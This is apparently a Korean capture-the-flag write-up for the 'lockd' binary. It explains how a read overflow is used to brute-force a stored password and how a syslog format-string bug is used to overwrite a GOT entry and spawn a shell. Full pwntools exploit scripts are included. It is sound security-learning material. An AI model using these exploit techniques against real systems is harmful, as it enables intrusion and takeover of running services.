문제


lockd 바이너리의 checksec 결과는 다음과 같다.

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

file 명령어 결과는 다음과 같다.

lockd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=784b63a128e6fe76512ae058e30be767450c8e7a, stripped

바이너리 코드

sub_8048A7D()

int sub_8048A7D()
{
...
  v7 = __readgsdword(0x14u);
  stream = fopen("password", "rb");
  fread(&ptr, 1u, 0x10u, stream);
  fclose(stream);
  dword_804A0A4 = *(_DWORD *)&ptr;
  dword_804A0A8 = v4;
  dword_804A0AC = v5;
  dword_804A0B0 = v6;
  printf("Input master key > ");
  read(0, &buf, 0x28u);
  return memcmp(&ptr, &buf, 0x10u);
}

__sub_8048A7D()__의 read 함수에서 buffer overflow 취약점이 존재한다. 그리고 bof를 통해서 ptr 영역에 overwrite함으로써 password를 알 수 있다. 방법은 다음과 같다.

(X는 내가 넣은 특정한 문자를 의미하고 ?는 0x00에서 0xff 사이의 임의의 값을 의미한다. 그리고 Y는 fread를 통해 ptr에 읽어온 password의 값이다.)

  1. read함수를 통해서 buf의 앞 16바이트에 XXXX XXXX XXXX XXX?를 쓰고 bof를 통해서 ptr을 XXXX XXXX XXXX XXXY와 같이 구성한다. ?에 0x00부터 0xff까지 넣어보면서 memcmp의 return 값이 0일 때를 찾는다. 이를 통해서 Y 값을 알 수 있다.
  2. 동일한 방식으로 buf의 앞 16바이트에 XXXX XXXX XXXX XX?Y를 쓰고 ptr을 XXXX XXXX XXXX XXYY와 같이 구성하면 뒤에서 두 번째에 있는 Y값을 알아낼 수 있다.
  3. 이 방식을 반복함으로써 password를 알 수 있다.

sub_804897A()

signed int sub_804897A()
{
  printf("Input master key > ");
  read(0, fmt, 0x14u);
  if ( memcmp(&dword_804A0A4, fmt, 0x10u) )
    return -1;
  sprintf(fmt, "./lock UNLOCK %d %d", dword_804A4C0, dword_804A0A0);
  system(fmt);
  printf("Your name > ");
  read(0, &unk_804A2C0, 0x190u);
  sprintf(fmt, "UNLOCK %d-%d by %s", dword_804A4C0, dword_804A0A0, &unk_804A2C0);
  syslog(0xD, fmt);
  return 0;
}

void syslog(int priority, const char *format, ...); syslog 함수는 두 번쨰 인자로 const char *format을 받는다. 그런데 sub_804897A(), sub_8048877() 에서 syslog 함수를 syslog(0xD, fmt); 와 같이 사용하기 때문에 fsb 취약점이 존재한다.

exploit 방법

  1. __sub_8048A7D()__에 존재하는 취약점을 이용해서 password를 알아낸다. (이를 통해서 __sub_804897A()__의 if문을 통과할 수 있다.)
  2. fsb를 이용해서 __sub_804897A()__의 sfp에 sprintf의 got값을 넣는다. (앞의 read에서 fmt에 20바이트를 넣기 때문에 password 뒤에 ““\x0a”*2 + “sh” (뒤에 null 존재)을 넣고 바로 system을 호출하면 쉘을 딸 수 있다. 그런데 sprintf에서 17바이트를 출력한 후에 \x00을 넣어버려서 system("sh")가 호출되지 않는다. “\x0a”+”sh” 앞에 null이 들어가는 것을 막기 위해서 sprintf 대신 printf를 호출하게 하려고 한다.)
  3. fsb를 이용해서 sprintf_got에 printf_plt 주소를 덮어쓴다.
  4. fmt를 password + “\x0a” + “sh” + “\x00” 으로 구성하면 system(fmt)에서 쉘을 딸 수 있다.

풀이


leak_pw.py

#!/usr/bin/python

from pwn import *

file_path="/home/lockd/lockd"

def sd_key(p,key):
	p.recvuntil("floor > ")
        p.sendline("1")
        p.recvuntil("number > ")
        p.sendline("1")
        p.recvuntil("key > ")
        p.send(key)
	p.recv()
	p.close()

masterkey="A"*16
masterkey=list(masterkey)

for i in range(16):
	for j in range(0x100):
		dummy="A"*4
		key="A"*(15-i)
		masterkey[15-i]=p32(j)[0]

		try:
			p=process(file_path)
			sd_key(p,''.join(masterkey)+dummy+key)
		except:
			p.close()
		else:
			break

print ''.join(masterkey)

exploit.py

#!/usr/bin/python

from pwn import *

def sel_2(pay):
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("key > ")
	p.send(password+"\x0a"+"sh"+"\x00")
	p.recvuntil("name > ")
	p.send(pay)

password="c39f30e348c07297"

file_path="/home/lockd/lockd"
p=process(file_path)

p.recvuntil("floor > ")
p.sendline("1")
p.recvuntil("number > ")
p.sendline("1")
p.recvuntil("key > ")
p.send(password)

sprintf_got=0x804a03c
printf_plt=0x8048570

name="%"+str(sprintf_got-14)+"d"+"%9$n"
sel_2(name)

name2="%"+str(printf_plt-14)+"d"+"%21$n"
sel_2(name2)

p.recvuntil("> ")
p.sendline("2")
p.recvuntil("key > ")
p.send(password+"\x0a"+"sh"+"\x00")

p.interactive()

알게 된 것


  1. gdb에서 디버깅 하다가 자식 프로세스 생기면 (여기서는 syslog에 의해서 생김) 동작이 멈춰버리니까 set follow-fork parent (child)를 꼭 해주자.

  2. int printf ( const char * format, ... );void syslog(int priority, const char *format, ...); 처럼 인자로 format 지정 문자열이 존재할 때 printf(fsb);, syslog(13,fsb);와 같이 구성하면 format string bug가 존재한다. (format 지정 문자열 뒤에 인자가 없는 경우, or 서식 문자보다 뒤에 있는 인자의 수가 적은 )

  3. void syslog(int priority, const char * format);
    • syslog 함수는 syslogd 데몬에게 메세지를 전송한다. (시스템에서 로그 메세지를 처리하기 위해서 제공하는 표준 인터페이스)
    • syslogd 데몬은 받은 메세지를 /etc/syslog.conf에 설정된 규칙에 따라서 파일에 기록, 화면에 출력, 또는 다른 호스트에 있는 또다른 syslogd 데몬에게 포워딩한다.
    • priority는 priority (메세지의 우선순위)와 facility (메세지를 발생시킨 프로그램의 종류 대한 flag)의 OR 연산을 통해 만들어짐
  4. (password를 알아내는 방법과 같은) 다양한 방법을 생각 해보자???